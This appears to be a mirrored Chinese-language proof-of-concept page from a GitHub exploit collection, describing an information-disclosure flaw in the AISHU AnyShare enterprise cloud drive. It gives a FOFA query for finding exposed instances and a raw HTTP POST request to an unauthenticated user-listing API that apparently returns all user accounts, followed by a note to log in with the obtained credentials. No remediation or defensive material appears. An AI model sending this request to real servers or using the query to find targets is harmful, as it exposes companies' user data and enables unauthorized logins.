mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-07 03:17:07 +00:00
32 lines
1.2 KiB
Markdown
32 lines
1.2 KiB
Markdown
# 爱数企业云盘存在信息泄露漏洞
|
||
|
||
# 一、漏洞简介
|
||
爱数企业云盘是一个备受欢迎的企业级云存储解决方案，其主要特点包括1、数据安全性高，2、存储容量大，3、访问便捷。爱数企业云盘通过多重加密和权限控制，保障了企业数据的安全性。其大容量存储可以满足企业大量数据存储需求，并且用户可以通过多种设备便捷访问数据。爱数企业云盘存在任意信息泄露漏洞
|
||
|
||
# 二、影响版本
|
||
爱数企业云盘
|
||
|
||
# 三、资产测绘
|
||
+ fofa`app="AISHU-AnyShare"`
|
||
+ 特征
|
||
|
||
|
||
|
||
# 三、漏洞复现
|
||
```java
|
||
POST /api/ShareMgnt/Usrm_GetAllUsers HTTP/1.1
|
||
Host:
|
||
|
||
[1,100]
|
||
```
|
||
|
||
|
||
|
||
使用账号密码登录
|
||
|
||
|
||
|
||
|
||
|
||
> 更新: 2024-11-27 10:00:07
|
||
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/lw5f2lpcye0l5ez8> |